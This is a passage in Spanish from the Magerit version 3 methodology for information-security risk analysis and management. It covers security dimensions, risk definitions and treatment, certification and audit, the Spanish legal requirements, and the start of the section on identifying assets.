mando en consideración las salvaguardas desplegadas.
Informe de insuficiencias
Ausencia o debilidad de las salvaguardas que aparecen como oportunas para reducir los
riesgos sobre el sistema. Es decir, recoge las vulnerabilidades del sistema, entendidas como
puntos débilmente protegidos por los que las amenazas podrían materializarse.
Cumplimiento de normativa
Satisfacción de unos requisitos. Declaración de que se ajusta y es conforme a la normativa
correspondiente.
Plan de seguridad
Conjunto de proyectos de seguridad que permiten materializar las decisiones de tratamiento
de riesgos
1.5. Introducción al análisis y gestión de riesgos

Seguridad es la capacidad de las redes o de los sistemas de información para resistir, con un de-
terminado nivel de confianza, los accidentes o acciones ilícitas o malintencionadas que compro-

metan la disponibilidad, autenticidad, integridad y confidencialidad de los datos almacenados o
transmitidos y de los servicios que dichas redes y sistemas ofrecen o hacen accesibles. 5
El objetivo a proteger es la misión de la Organización, teniendo en cuenta las diferentes dimensio-
nes de la seguridad:
Disponibilidad:
o disposición de los servicios a ser usados cuando sea necesario. La carencia de disponibi-
lidad supone una interrupción del servicio. La disponibilidad afecta directamente a la produc-
tividad de las organizaciones.
Integridad:
o mantenimiento de las características de completitud y corrección de los datos. Contra la in-
tegridad, la información puede aparecer manipulada, corrupta o incompleta. La integridad
afecta directamente al correcto desempeño de las funciones de una Organización.
Confidencialidad:
o que la información llegue solamente a las personas autorizadas. Contra la confidencialidad
o secreto pueden darse fugas y filtraciones de información, así como accesos no autoriza-
dos. La confidencialidad es una propiedad de difícil recuperación, pudiendo minar la con-
fianza de los demás en la organización que no es diligente en el mantenimiento del secreto,
y pudiendo suponer el incumplimiento de leyes y compromisos contractuales relativos a la
custodia de los datos.
A estas dimensiones canónicas de la seguridad se pueden añadir otras derivadas que nos acer-
quen a la percepción de los usuarios de los sistemas de información:
Autenticidad:
Propiedad o característica consistente en que una entidad es quien dice ser o bien que ga-
rantiza la fuente de la que proceden los datos. Contra la autenticidad de la información po-
demos tener manipulación del origen o el contenido de los datos. Contra la autenticidad de
los usuarios de los servicios de acceso, podemos tener suplantación de identidad.
Trazabilidad:
Aseguramiento de que en todo momento se podrá determinar quién hizo qué y en qué mo-
mento. La trazabilidad es esencial para analizar los incidentes, perseguir a los atacantes y
aprender de la experiencia. La trazabilidad se materializa en la integridad de los registros de
actividad.
Todas estas características pueden ser requeridas o no dependiendo de cada caso. Cuando se
requieren, no es evidente que se disfruten sin más. Lo habitual que haya que poner medios y es-
fuerzo para conseguirlas. A racionalizar este esfuerzo se dedican las metodologías de análisis y
gestión de riesgos que comienzan con una definición:
Riesgo:
estimación del grado de exposición a que una amenaza se materialice sobre uno o más ac-
tivos causando daños o perjuicios a la Organización.
El riesgo indica lo que le podría pasar a los activos si no se protegieran adecuadamente. Es im-
portante saber qué características son de interés en cada activo, así como saber en qué medida
estas características están en peligro, es decir, analizar el sistema:
Análisis de riesgos:
proceso sistemático para estimar la magnitud de los riesgos a que está expuesta una Orga-
nización.
Sabiendo lo que podría pasar, hay que tomar decisiones:
5
Reglamento (CE) n 460/2004 del Parlamento Europeo y del Consejo, de 10 de marzo de 2004, por el
que se crea la Agencia Europea de Seguridad de las Redes y de la Información.
Tratamiento de los riesgos
proceso destinado a modificar el riesgo.
Hay múltiples formas de tratar un riesgo: evitar las circunstancias que lo provocan, reducir las po-
sibilidades de que ocurra, acotar sus consecuencias, compartirlo con otra organización (típicamen-
te contratando un servicio o un seguro de cobertura), o, en última instancia, aceptando que pudie-
ra ocurrir y previendo recursos para actuar cuando sea necesario.
Nótese que una opción legítima es aceptar el riesgo. Es frecuente oír que la seguridad absoluta
no existe; en efecto, siempre hay que aceptar un riesgo que, eso sí, debe ser conocido y sometido
al umbral de calidad que se requiere del servicio. Es más, a veces aceptamos riesgos operaciona-
les para acometer actividades que pueden reportarnos un beneficio que supera al riesgo, o que
tenemos la obligación de afrontar. Es por ello que a veces se emplean definiciones más amplias
de riesgo:
Efecto de la incertidumbre sobre la consecución de los objetivos.
[ISO Guía 73]
Como todo esto es muy delicado, no es meramente técnico, e incluye la decisión de aceptar un
cierto nivel de riesgo, deviene imprescindible saber en qué condiciones se trabaja y así poder
ajustar la confianza que merece el sistema. Para ello, qué mejor que una aproximación metódica
que permita tomar decisiones con fundamento y explicar racionalmente las decisiones tomadas.
1.6. El análisis y el tratamiento de los riesgos en su contexto

Las tareas de análisis y tratamiento de los riesgos no son un fin en sí mismas sino que se encajan
en la actividad continua de gestión de la seguridad.
El análisis de riesgos permite determinar cómo es, cuánto vale y cómo de protegido se encuentra
el sistema. En coordinación con los objetivos, estrategia y política de la Organización, las activida-
des de tratamiento de los riesgos permiten elaborar un plan de seguridad que, implantado y ope-
rado, satisfaga los objetivos propuestos con el nivel de riesgo que acepta la Dirección. Al conjunto
de estas actividades se le denomina Proceso de Gestión de Riesgos.
La implantación de las medidas de seguridad requiere una organización gestionada y la participa-
ción informada de todo el personal que trabaja con el sistema de información. Es este personal el
responsable de la operación diaria, de la reacción ante incidencias y de la monitorización en gene-
ral del sistema para determinar si satisface con eficacia y eficiencia los objetivos propuestos.
Este esquema de trabajo debe ser repetitivo pues los sistemas de información rara vez son inmu-
tables; más bien se encuentran sometidos a evolución continua tanto propia (nuevos activos) co-
mo del entorno (nuevas amenazas), lo que exige una revisión periódica en la que se aprende de
la experiencia y se adapta al nuevo contexto.
El análisis de riesgos proporciona un modelo del sistema en términos de activos, amenazas y sal-
vaguardas, y es la piedra angular para controlar todas las actividades con fundamento. La fase de
tratamiento estructura las acciones que se acometen en materia de seguridad para satisfacer las
necesidades detectadas por el análisis.
Los sistemas de gestión de la seguridad de la información (SGSI) [ISO 27001] formalizan cuatro
etapas cíclicas:

Ilustración 2. Ciclo PDCA

El análisis de riesgos es parte de las actividades de planificación, donde se toman decisiones de
tratamiento. Estas decisiones se materializan en la etapa de implantación, donde conviene des-
plegar elementos que permitan la monitorización de las medidas desplegadas para poder evaluar
la efectividad de las mismas y actuar en consecuencia, dentro de un círculo de excelencia o mejo-
ra continua.
1.6.1. Concienciación y formación

El mejor plan de seguridad se vería seriamente hipotecado sin una colaboración activa de las per-
sonas involucradas en el sistema de información, especialmente si la actitud es negativa, contraria
a las medidas, o tienen la percepción de pasarse el día “luchando contra las [absurdas] medidas
de seguridad”. Es por ello que se requiere la creación de una “cultura de seguridad” que, emanan-
do de la alta dirección, conciencie a todos los involucrados de su necesidad y pertinencia.
Son tres los pilares fundamentales para la creación de esta cultura:
• una política de seguridad corporativa que se entienda (escrita para los que no son expertos
en la materia), que se difunda y que se mantenga al día
• una normativa se seguridad que, entrando en áreas específicas de actividad, aclare la pos-
tura de la Organización; es decir, defina lo que es uso correcto y lo que es incumplimiento
• una formación continua a todos los niveles, recordando las cautelas rutinarias y las activida-
des especializadas, según la responsabilidad adscrita a cada puesto de trabajo
A fin de que estas actividades cuajen en la organización, es imprescindible que la seguridad sea:
• mínimamente intrusiva: que no dificulte innecesariamente la actividad diaria ni hipoteque al-
canzar los objetivos de productividad propuestos,
• sea “natural”: que no de pie a errores gratuitos 6 , que facilite el cumplimiento de las buenas
prácticas propuestas y
• practicada por la Dirección: que dé ejemplo en la actividad diaria y reaccione con presteza a
los cambios e incidencias.
1.6.2. Incidencias y recuperación

Las personas involucradas en la utilización y operación del sistema deben ser conscientes de su
papel y relevancia continua para prevenir problemas y reaccionar cuando se produzcan. Es impor-
tante crear una cultura de responsabilidad donde los potenciales problemas, detectados por los
que están cercanos a los activos afectados, puedan ser canalizados hacia los puntos de decisión.
De esta forma el sistema de seguridad responderá con presteza a las circunstancias de cada mo-
mento.
6
A menudo se oye hablar de “seguridad por defecto” o “seguridad sin manual” para recoger esta idea de
que los sistemas son más seguros si la forma natural de utilizarlos es la forma segura de utilizarlos.
Cuando se produce una incidencia, el tiempo empieza a correr en contra del sistema: su supervi-
vencia depende de la agilidad y corrección de las actividades de reporte y reacción. Cualquier
error, imprecisión o ambigüedad en estos momentos críticos, se ve amplificado convirtiendo lo que
podía ser un mero incidente en un desastre.
Conviene aprender continuamente, tanto de los éxitos como de los fracasos, e incorporar lo que
vamos aprendiendo al proceso de gestión de riesgos. La madurez de una organización se refleja
en la pulcritud y realismo de su modelo de valor y, consecuentemente, en la idoneidad de las sal-
vaguardas de todo tipo, desde medidas técnicas hasta una óptima organización.
1.7. Organización de las guías

Esta versión 3 de Magerit se ha estructurado en dos libros y una guía de técnicas:
— Libro I – Método
— Libro II – Catálogo de elementos
— Guía de Técnicas – Recopilación de técnicas de diferente tipo que pueden ser de utilidad pa-
ra la aplicación del método.
Este libro se estructura de la siguiente forma:
• El capítulo 2 presenta los conceptos informalmente. En particular se enmarcan las activida-
des de análisis y tratamiento dentro de un proceso integral de gestión de riesgos.
• El capítulo 3 concreta los pasos y formaliza las actividades de análisis de los riesgos.
• El capítulo 4 describe opciones y criterios de tratamiento de los riesgos y formaliza las acti-
vidades de gestión de riesgos.
• El capítulo 5 se centra en los proyectos de análisis de riesgos, proyectos en los que nos ve-
remos inmersos para realizar el primer análisis de riesgos de un sistema y eventualmente
cuando hay cambios sustanciales y hay que rehacer el modelo ampliamente.
• El capítulo 6 formaliza las actividades de los planes de seguridad, a veces denominados
planes directores o planes estratégicos.
• El capítulo 7 se centra en el desarrollo de sistemas de información y cómo el análisis de
riesgos sirve para gestionar la seguridad del producto final desde su concepción inicial hasta
su puesta en producción, así como a la protección del propio proceso de desarrollo.
• El capítulo 8 se anticipa a algunos problemas que aparecen recurrentemente cuando se rea-
lizan análisis de riesgos.
Los apéndices recogen material de consulta:
1. un glosario,
2. referencias bibliográficas consideradas para el desarrollo de esta metodología,
3. referencias al marco legal que encuadra las tareas de análisis y gestión en la Administración
Pública Española,
4. el marco normativo de evaluación y certificación
5. las características que se requieren de las herramientas, presentes o futuras, para soportar
el proceso de análisis y gestión de riesgos,
6. una guía comparativa de cómo Magerit versión 1 ha evolucionado a la versión 2 y a esta
versión 3.
1.7.1. Modo de empleo

Siempre se explican informalmente las actividades a realizar, y en ciertos casos se formalizan co-
mo tareas que permiten una planificación y seguimiento:

Ilustración 3. Actividades formalizadas

En sistemas pequeños, estas actividades pueden llevarse a cabo sin muchos formalismos; pero
cuando el sistema adquiere envergadura e involucra a diferentes personas y equipos de trabajo
durante varias semanas, meses o años, la planificación formal ayuda a mantener el proceso bajo
control.
En el planteamiento de estas guías se ha seguido un criterio “de máximos”, reflejando todo tipo de
situaciones. En la práctica, el usuario puede encontrarse ante situaciones donde el alcance es
más restringido. Ante estas situaciones, conviene ser práctico y no pretender aplicar todas las ta-
reas descritas en Magerit desde el primer momento. Suele ser prudente realizar una aproximación
iterativa, aplicando el método primero con trazo grueso y luego ir revisando el modelo para entrar
en detalles. El proceso de gestión de riesgos debe identificar y tratar urgentemente los riesgos crí-
ticos, pudiendo ir tratando progresivamente riesgos de menor criticidad. Como se dice popular-
mente “lo perfecto es enemigo de lo bueno”. Lo prudente es armonizar el esfuerzo al valor de la
información y los servicios que se sustentan.
Entiéndase pues Magerit como una guía que se puede y se debe adaptar al caso y sus circuns-
tancias.
1.7.2. El catálogo de elementos

En libro aparte, se propone un catálogo, abierto a ampliaciones, que marca unas pautas en cuanto
a:
• tipos de activos
• dimensiones de valoración de los activos
• criterios de valoración de los activos
• amenazas típicas sobre los sistemas de información
• salvaguardas a considerar para proteger sistemas de información
Se persiguen dos objetivos:
1. Por una parte, facilitar la labor de las personas que acometen el proyecto, en el sentido de
ofrecerles elementos estándar a los que puedan adscribirse rápidamente, centrándose en lo
específico del sistema objeto del análisis.
2. Por otra, homogeneizar los resultados de los análisis, promoviendo una terminología y unos
criterios uniformes que permitan comparar e incluso integrar análisis realizados por diferen-
tes equipos.
Cada sección incluye una notación XML que se empleará para publicar regularmente los elemen-
tos en un formato estándar capaz de ser procesado automáticamente por herramientas de análisis
y gestión.

Si el lector usa una herramienta de análisis y gestión de riesgos, este catálogo será parte de la
misma; si el análisis se realiza manualmente, este catálogo proporciona una amplia base de parti-
da para avanzar rápidamente sin distracciones ni olvidos.
1.7.3. La guía de técnicas

En libro aparte, aporta luz adicional y orientación sobre algunas técnicas que se emplean habi-
tualmente para llevar a cabo proyectos de análisis y gestión de riesgos:
• técnicas específicas para el análisis de riesgos
• análisis mediante tablas
• análisis algorítmico
• árboles de ataque
• técnicas generales
• técnicas gráficas
• sesiones de trabajo: entrevistas, reuniones y presentaciones
• valoración Delphi
Se trata de una guía de consulta. Según el lector avance por la tareas del proyecto, se le reco-
mendará el uso de ciertas técnicas específicas, de las que esta guía busca ser una introducción,
así como proporcionar referencias para que el lector profundice en las técnicas presentadas.
1.8. Evaluación, certificación, auditoría y acreditación

El análisis de riesgos es una piedra angular de los procesos de evaluación, certificación, auditoría
y acreditación que formalizan la confianza que merece un sistema de información. Dado que no
hay dos sistemas de información iguales, la evaluación de cada sistema concreto requiere amol-
darse a los componentes que lo constituyen. El análisis de riesgos proporciona una visión singular
de cómo es cada sistema, qué valor posee, a qué amenazas está expuesto y de qué salvaguar-
das se ha dotado. Es pues el análisis de riesgos paso obligado para poder llevar a cabo todas las
tareas mencionadas, que se relacionan según el siguiente esquema:

Ilustración 4. Contexto de certificación y acreditación de sistemas de información

En esta sección se hace una presentación conceptual de las actividades citadas. El lector encon-
trará en el apéndice 4 un tratamiento específico de los marcos normativos relativos a sistemas de
gestión y productos de seguridad.
Evaluación
Es cada vez más frecuente la evaluación de la seguridad de los sistemas de información, tanto
internamente como parte de los procesos de gestión, como por medio de evaluadores indepen-
dientes externos. Las evaluaciones permiten medir el grado de confianza que merece o inspira un
sistema de información.
Certificación
La evaluación puede llevar a una certificación o registro de la seguridad del sistema. En la práctica
se certifican productos y se certifican sistemas de gestión de la seguridad. La certificación de pro-
ductos es, de alguna forma, impersonal: “esto tiene estas características técnicas”. Sin embargo,
la certificación de sistemas de gestión tiene que ver con el “componente humano” de las organiza-
ciones buscando el análisis de cómo se explotan los sistemas 7 .
Certificar es asegurar responsablemente y por escrito un comportamiento. Lo que se certifica,
producto o sistema, se somete a una serie de evaluaciones orientadas por un objetivo ¿para qué
lo quiere? 8 . Un certificado dice que un sistema es capaz de proteger unos datos de unas amena-
zas con una cierta calidad (capacidad de protección). Y lo dice en base a que ha observado la
existencia y el funcionamiento de una serie de salvaguardas. Es decir que detrás de un certificado
no hay sino los conceptos de un análisis de riesgos.
7 Hay vehículos con altas calificaciones técnicas y otros más humildes. Lo mismo que hay conductores
que son verdaderos profesionales y otros de los que nunca nos explicaremos cómo es que están certifi-
cados como “aptos para el manejo de vehículos”. Lo ideal es poner un gran coche en manos de un gran
conductor. De ahí para abajo, tenemos una gran variedad de situaciones de menor confianza: mayor
riesgo de que algo vaya mal.
8 Y así tenemos sistemas aptos para “consumo humano” o “utilización en condiciones térmicas extremas”.
Antes de proceder a la certificación, debe haberse realizado un análisis de riesgos a fin de cono-
cer los riesgos y de controlarlos mediante la adopción de los controles adecuados, además, será
un punto de control de la gestión del producto o sistema.
Acreditación
Algunas certificaciones tienen como objetivo la acreditación del producto o sistema. La acredita-
ción es un proceso específico cuyo objetivo es legitimar al sistema para formar parte de sistemas
más amplios. Se puede ver como una certificación para un propósito específico.
Auditorías
Aunque no sea lo mismo, no están muy lejos de este mundo las auditorías, internas o externas, a
las que se someten los sistemas de información
• unas veces requeridas por ley para poder operar en un cierto sector (cumplimiento),
• otras veces requeridas por la propia Dirección de la Organización,
• otras veces requeridas por entidades colaboradoras que ven su propio nivel de riesgo liga-
do al nuestro.
Una auditoría puede servirse de un análisis de riesgos que le permita (1) saber qué hay en juego,
(2) saber a qué está expuesto el sistema y (3) valorar la eficacia y eficiencia de las salvaguardas.
Frecuentemente, los auditores parten de un análisis de riesgos, implícito o explícito, que, o bien
realizan ellos mismos, o bien lo auditan. Siempre en la primera fase de la auditoría, pues es difícil
opinar de lo que no se conoce. A partir del análisis de riesgos se puede analizar el sistema e in-
formar a la gerencia de si el sistema está bajo control; es decir, si las medidas de seguridad adop-
tadas están justificadas, implantadas y monitorizadas, de forma que se puede confiar en el siste-
ma de indicadores de que dispone la gerencia para gestionar la seguridad de los sistemas.
La conclusión de la auditoría es un informe de insuficiencias detectadas, que no son sino incohe-
rencias entre las necesidades identificadas en el análisis de riesgos y la realidad detectada duran-
te la inspección del sistema en operación.
El informe de auditoría deberá dictaminar sobre la adecuación de las medidas y controles a
la Ley y su desarrollo reglamentario, identificar sus deficiencias y proponer las medidas co-
rrectoras o complementarias necesarias. Deberá, igualmente, incluir los datos, hechos y ob-
servaciones en que se basen los dictámenes alcanzados y recomendaciones propuestas.
[RD 1720/2007, artículo 96.2]
En el caso de la Administración pública, existen algunos referentes fundamentales respecto de los
cuales se puede y se debe realizar auditorías:
• Real Decreto 1720/2007, de 21 de diciembre, por el que se aprueba el Reglamento de desa-
rrollo de la Ley Orgánica 15/1999, de 13 de diciembre, de protección de datos de carácter
personal.
• Real Decreto 3/2010, de 8 de enero, por el que se regula el Esquema Nacional de Seguri-
dad en el ámbito de la Administración Electrónica. BOE de 29 de enero de 2010.
Las auditorías deben repetirse regularmente tanto para seguir la evolución del análisis de riesgos
(que se debe actualizar regularmente) como para seguir el desarrollo del plan de seguridad de-
terminado por las actividades de gestión de riesgos.
1.9. ¿Cuándo procede analizar y gestionar los riesgos?

Un análisis de riesgos TIC es recomendable en cualquier Organización que dependa de los siste-
mas de información y comunicaciones para el cumplimiento de su misión. En particular en cual-
quier entorno donde se practique la tramitación electrónica de bienes y servicios, sea en contexto
público o privado. El análisis de riesgos permite tomar decisiones de gestión y asignar recursos
con perspectiva, sean tecnológicos, humanos o financieros.

El análisis de riesgos es una herramienta de gestión que permite tomar decisiones. Las decisiones
pueden tomarse antes de desplegar un servicio o con éste funcionando. Es muy deseable hacerlo
antes, de forma que las medidas que haya que tomar se incorporen en el diseño del servicio, en la
elección de componentes, en el desarrollo del sistema y en los manuales de usuario. Todo lo que
sea corregir riesgos imprevistos es costoso en tiempo propio y ajeno, lo que puede ir en detrimen-
to de la imagen prestada por la Organización y puede suponer, en último extremo, la pérdida de
confianza en su capacidad. Siempre se ha dicho que es mejor prevenir que curar y aquí se aplica:
no espere a que un servicio haga agua; hay que prever y estar prevenido.
Realizar un análisis de riesgos es laborioso y costoso. Levantar un mapa de activos y valorarlos
requiere la colaboración de muchos perfiles dentro de la Organización, desde los niveles de ge-
rencia hasta los técnicos. Y no solo es que haya que involucrar a muchas personas, sino que hay
que lograr una uniformidad de criterio entre todos pues, si importante es cuantificar los riesgos,
más importante aún es relativizarlos. Y esto es así porque típicamente en un análisis de riesgos
aparecen multitud de datos. La única forma de afrontar la complejidad es centrarse en lo más im-
portante (máximo impacto, máximo riesgo) y obviar lo que es secundario o incluso despreciable.
Pero si los riesgos no están bien ordenados en términos relativos, su interpretación es imposible.
En resumen, que un análisis de riesgos no es una tarea menor que realiza cualquiera en sus ratos
libres. Es una tarea mayor que requiere esfuerzo y coordinación. Por tanto debe ser planificada y
justificada.
Certificación y acreditación
Si el sistema aspira a una certificación, el análisis de riesgos es un requisito previo que exigirá el
evaluador. Es la fuente de información para determinar la relación de controles pertinentes para el
sistema y que por tanto deben ser inspeccionados. Véase el apéndice 4.1 sobre certificación de
sistemas de gestión de la seguridad de la información (SGSI).
El análisis de riesgos es así mismo un requisito exigido en los procesos de acreditación 9 de siste-
mas. Estos procesos son necesarios cuando se va a manejar en el sistema información clasificada
nacional, UE, OTAN o de otros acuerdos internacionales. El primer paso del proceso es la realiza-
ción del análisis de riesgos que identifique amenazas y salvaguardas y gestione satisfactoriamen-
te los riesgos del sistema.
Por precepto legal

El análisis de riesgos puede venir requerido por precepto legal. Tal es el caso de Real Decreto
3/2010, de 8 de enero, por el que se regula el Esquema Nacional de Seguridad en el ámbito de la
Administración Electrónica. En el Capítulo II, Principios Básicos, se dice:
1. El análisis y gestión de riesgos será parte esencial del proceso de seguridad y deberá man-
tenerse permanentemente actualizado.
2. La gestión de riesgos permitirá el mantenimiento de un entorno controlado, minimizando los
riesgos hasta niveles aceptables. La reducción de estos niveles se realizará mediante el
despliegue de medidas de seguridad, que establecerá un equilibrio entre la naturaleza de los
datos y los tratamientos, los riesgos a los que estén expuestos y las medidas de seguridad.
El mismo Real Decreto 3/2010, en el Capítulo III, Requisitos Mínimos, se dice:
Artículo 13. Análisis y gestión de los riesgos.
1. Cada organización que desarrolle e implante sistemas para el tratamiento de la información y
las comunicaciones realizará su propia gestión de riesgos.
2. Esta gestión se realizará por medio del análisis y tratamiento de los riesgos a los que está
expuesto el sistema. Sin perjuicio de lo dispuesto en el Anexo II, se empleará alguna meto-
dología reconocida internacionalmente.
9 En el sentido formal de autorización para manejar información clasificada. Los procesos de acreditación
se ajustan a la normativa aplicable en cada caso.
3. Las medidas adoptadas para mitigar o suprimir los riesgos deberán estar justificadas y, en
todo caso, existirá una proporcionalidad entre ellas y los riesgos.
La Ley 11/2007, de 22 de junio, de acceso electrónico de los ciudadanos a los Servicios Públicos,
que en su Artículo 1, Objeto de la Ley, dice así:
2. Las Administraciones Públicas utilizarán las tecnologías de la información de acuerdo con lo
dispuesto en la presente Ley, asegurando la disponibilidad, el acceso, la integridad, la au-
tenticidad, la confidencialidad y la conservación de los datos, informaciones y servicios que
gestionen en el ejercicio de sus competencias.
La Ley Orgánica 15/1999, de 13 de diciembre, de protección de datos de carácter personal, en su
artículo 9 (Seguridad de los datos) dice así:
1. El responsable del fichero, y, en su caso, el encargado del tratamiento, deberán adoptar las
medidas de índole técnica y organizativas necesarias que garanticen la seguridad de los da-
tos de carácter personal y eviten su alteración, pérdida, tratamiento o acceso no autorizado,
habida cuenta del estado de la tecnología, la naturaleza de los datos almacenados y los
riesgos a que están expuestos, ya provengan de la acción humana o del medio físico o natu-
ral.
Por último, la gestión continua de los riesgos es uno de los principio básicos del Esquema Nacio-
nal de Seguridad, ya citado anteriormente.
En conclusión
Procede analizar y gestionar los riesgos cuando directa o indirectamente lo establezca un precep-
to legal y siempre que lo requiera la protección responsable de los activos de una organización.

Magerit 3.0 Proyectos de análisis de riesgos
2. Visión de conjunto
Hay dos grandes tareas a realizar:
I. análisis de riesgos,
que permite determinar qué tiene la Organización y estimar lo que podría pasar.
II. tratamiento de los riesgos,
que permite organizar la defensa concienzuda y prudente, defendiendo para que no pase
nada malo y al tiempo estando preparados para atajar las emergencias, sobrevivir a los inci-
dentes y seguir operando en las mejores condiciones; como nada es perfecto, se dice que el
riesgo se reduce a un nivel residual que la Dirección asume.
Ambas actividades, análisis y tratamiento se combinan en el proceso denominado Gestión de
Riesgos.
Ilustración 5. Gestión de riesgos
El análisis de riesgos considera los siguientes elementos:

1. activos, que son los elementos del sistema de información (o estrechamente relacionados
con este) que soportan la misión de la Organización
2. amenazas, que son cosas que les pueden pasar a los activos causando un perjuicio a la Or-
ganización
3. salvaguardas (o contra medidas), que son medidas de protección desplegadas para que
aquellas amenazas no causen [tanto] daño.
Con estos elementos se puede estimar:
1. el impacto: lo que podría pasar
2. el riesgo: lo que probablemente pase
El análisis de riesgos permite analizar estos elementos de forma metódica para llegar a conclusio-
nes con fundamento y proceder a la fase de tratamiento.
Informalmente, se puede decir que la gestión de la seguridad de un sistema de información es la
gestión de sus riesgos y que el análisis permite racionalizar dicha gestión.

Formalmente, la gestión de los riesgos está estructurada de forma metódica en las normas ISO
(ver Anexo 1). Se propone el siguiente esquema:
Ilustración 6. Proceso de gestión de riesgos (fuente: ISO 31000)
La determinación del contexto lleva a una determinación de los parámetros y condicionantes

externos e internos que permiten encuadrar la política que se seguirá para gestionar los riesgos.
Un elemento a destacar es el alcance del análisis, incluyendo obligaciones propias y obligaciones
contraídas, así como las relaciones con otras organizaciones, sean para intercambio de informa-
ción y servicios o proveedoras de servicios subcontratados. Véase la norma [ISO 31000] para un
mayor desarrollo de los factores que determinan el contexto.
La identificación de los riesgos busca una relación de los posibles puntos de peligro. Lo que se
identifique será analizado en la siguiente etapa. Lo que no se identifique quedará como riesgo
oculto o ignorado.
El análisis de los riesgos busca calificar los riesgos identificados, bien cuantificando sus conse-
cuencias (análisis cuantitativo), bien ordenando su importancia relativa (análisis cualitativo). De
una u otra forma, como resultado del análisis tendremos una visión estructurada que nos permita
centrarnos en lo más importante.
La evaluación de los ri esgos va un paso más allá del análisis técnico y traduce las consecuen-
cias a términos de negocio. Aquí entran factores de percepción, de estrategia y de política permi-
tiendo tomar decisiones respecto de qué riesgos se aceptan y cuales no, así como de en qué cir-
cunstancias podemos aceptar un riesgo o trabajar en su tratamiento.
El tratamiento de los riesgos recopila las actividades encaminadas a modificar la situación de
riesgo. Es una actividad que presenta numerosas opciones como veremos más adelante.
Comunicación y consulta. Es importante no olvidar nunca que los sistemas de información de-
ben ser soporte de la productividad de la Organización. Es absurdo un sistema muy seguro pero
que impide que la Organización alcance sus objetivos. Siempre hay que buscar un equilibrio entre
seguridad y productividad y en ese equilibrio hay que contar con la colaboración de varios interlo-
cutores:

• los usuarios cuyas necesidades deben ser tenidas en cuenta y a los que hay que informar
para que colaboren activamente en la operación del sistema dentro de los parámetros de
seguridad determinados por la Dirección
• los proveedores externos, a los que hay proporcionar instrucciones claras para poder exigir-
les tanto el cumplimiento de los niveles de servicio requeridos, como la gestión de los inci-
dentes de seguridad que pudieran acaecer
• los órganos de gobierno para establecer canales de comunicación que consoliden la con-
fianza de que el sistema de información responderá sin sorpresas para atender a la misión
de la Organización y que los incidentes serán atajados de acuerdo el plan previsto
Seguimiento y revisión. Es importante no olvidar nunca que el análisis de riesgos es una activi-
dad de despacho y que es imprescindible ver qué ocurre en la práctica y actuar en consecuencia,
tanto reaccionando diligentemente a los incidentes, como mejorando continuamente nuestro co-
nocimiento del sistema y de su entorno para mejorar el análisis y ajustarlo a la experiencia.

3. Método de análisis de riesgos

3.1. Conceptos paso a paso
El análisis de riesgos es una aproximación metódica para determinar el riesgo siguiendo unos pa-
sos pautados:
1. determinar los activos relevantes para la Organización, su interrelación y su valor, en el sen-
tido de qué perjuicio (coste) supondría su degradación
2. determinar a qué amenazas están expuestos aquellos activos
3. determinar qué salvaguardas hay dispuestas y cuán eficaces son frente al riesgo
4. estimar el impacto, definido como el daño sobre el activo derivado de la materialización de la
amenaza
5. estimar el riesgo, definido como el impacto ponderado con la tasa de ocurrencia (o expecta-
tiva de materialización) de la amenaza
Con el objeto de organizar la presentación, se introducen los conceptos de “impacto y riesgo po-
tenciales” entre los pasos 2 y 3. Estas valoraciones son “teóricas”: en el caso de que no hubiera
salvaguarda alguna desplegada. Una vez obtenido este escenario teórico, se incorporan las sal-
vaguardas del paso 3, derivando estimaciones realistas de impacto y riesgo.
La siguiente figura recoge este primer recorrido, cuyos pasos se detallan en las siguientes secciones:
Ilustración 7. Elementos del análisis de riesgos potenciales
3.1.1. Paso 1: Activos

Componente o funcionalidad de un sistema de información susceptible de ser atacado deliberada
o accidentalmente con consecuencias para la organización. Incluye: información, datos, servicios,
aplicaciones (software), equipos (hardware), comunicaciones, recursos administrativos, recursos
físicos y recursos humanos. [UNE 71504:2008]
En un sistema de información hay 2 cosas esenciales:

— la información que maneja
— y los servicios que presta.
Estos activos esenciales marcan los requisitos de seguridad para todos los demás componentes
del sistema.
Subordinados a dicha esencia se pueden identificar otros activos relevantes:
— Datos que materializan la información.
— Servicios auxiliares que se necesitan para poder organizar el sistema.
— Las aplicaciones informáticas (software) que permiten manejar los datos.
— Los equipos informáti cos (hardware) y que permiten hospedar datos, aplicaciones y
servicios.
— Los soportes de información que son dispositivos de almacenamiento de datos.
— El equipamiento auxiliar que complementa el material informático.
— Las redes de comunicaciones que permiten intercambiar datos.
— Las instalaciones que acogen equipos informáticos y de comunicaciones.
— Las personas que explotan u operan todos los elementos anteriormente citados.
No todos los activos son de la misma especie. Dependiendo del tipo de activo, las amenazas y las
salvaguardas son diferentes 10 . El capítulo 2 del "Catálogo de Elementos" presenta una relación de
tipos de activos.
Dependencias
Los activos esenciales son la información y los servicios prestados; pero estos activos dependen
de otros activos más prosaicos como pueden ser los equipos, las comunicaciones, las instalacio-
nes y las frecuentemente olvidadas personas que trabajan con aquellos.
De manera que los activos vienen a formar árboles o grafos de dependencias donde la seguridad de
los activos que se encuentran más arriba en la estructura o ‘superiores’ depende de los activos que se
encuentran más abajo o ‘inferiores’. Estas estructuras reflejan de arriba hacia abajo las dependencias,
mientas que de abajo hacia arriba la propagación del daño caso de materializarse las amenazas.
Por ello aparece como importante el concepto de “dependencias entre activos” o la medida en que
un activo superior se vería afectado por un incidente de seguridad en un activo inferior 11 .
Se dice que un “activo superior” depende de otro “activo inferior” cuando las necesidades de segu-
ridad del superior se reflejan en las necesidades de seguridad del inferior. O, dicho en otras pala-
bras, cuando la materialización de una amenaza en el activo inferior tiene como consecuencia un
perjuicio sobre el activo superior. Informalmente puede interpretarse que los activos inferiores son
los pilares en los que se apoya la seguridad de los activos superiores.
Aunque en cada caso hay que adaptarse a la Organización objeto del análisis, con frecuencia se
puede estructurar el conjunto de activos en capas, donde las capas superiores dependen de las
inferiores:
• activos esenciales
• información que se maneja
• servicios prestados
• servicios internos
• que estructuran ordenadamente el sistema de información
• el equipamiento informático
• aplicaciones (software)
10 No se ataca ni se defiende de la misma manera un servicio telemático que un local de trabajo.

11 Un ejemplo puede ser mejor que mil palabras. Si se quema el local que hospeda los equipos, lo que no
funciona es el servicio percibido por el usuario a kilómetros de distancia. Si roban el portátil de un ejecu-
tivo con información estratégica de la Organización, lo que sufre es la confidencialidad de dicha informa-
ción. Las instalaciones se reconstruyen; pero puede haberse pasado la oportunidad de prestar el servi-
cio. El robo se subsana comprando otro portátil; pero el secreto ya está perdido.
• equipos informáticos (hardware)
• comunicaciones
• soportes de información: discos, cintas, etc.
• el entorno: activos que se precisan para garantizar las siguientes capas
• equipamiento y suministros: energía, climatización, etc.
• mobiliario
